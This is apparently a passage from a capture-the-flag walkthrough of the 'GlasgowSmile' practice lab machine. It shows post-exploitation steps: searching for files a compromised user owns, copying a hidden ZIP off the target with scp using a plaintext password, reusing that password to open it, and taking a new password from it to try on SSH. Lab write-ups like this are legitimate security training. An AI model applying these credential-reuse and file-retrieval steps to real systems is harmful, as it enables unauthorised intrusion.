GlasgowSmile_dear_penguins

.dear_penguins.zip

---

Upon making the lateral movement to the abner user, an interesting file has been located that is owned by the user.

abner@glasgowsmile:~$ find / -user abner -ls -type f 2>/dev/null | grep -Ev '/proc|/run|/sys|/dev|/home'
   655367      4 -rwxr-xr-x   1 abner    abner         516 Jun 16  2020 /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip

It’s a hidden ZIP file; /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/glasgowsmile]
└─$ sshpass -p I33hope99my0death000makes44more8cents00than0my0life0 scp abner@$IP:/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .

Transfer complete

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/glasgowsmile]
└─$ unzip .dear_penguins.zip 
Archive:  .dear_penguins.zip
[.dear_penguins.zip] dear_penguins password: I33hope99my0death000makes44more8cents00than0my0life0
  inflating: dear_penguins           

The ZIP archive is password-protected, but the password of the abner is reused

┌──(kali㉿kali)-[~/PEN-200/PG_PLAY/glasgowsmile]
└─$ cat dear_penguins         
My dear penguins, we stand on a great threshold! It's okay to be scared; many of you won't be coming back. Thanks to Batman, the time has come to punish all of God's children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

The extracted content contains what appears to be a password; scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz Testing it against the target SSH server.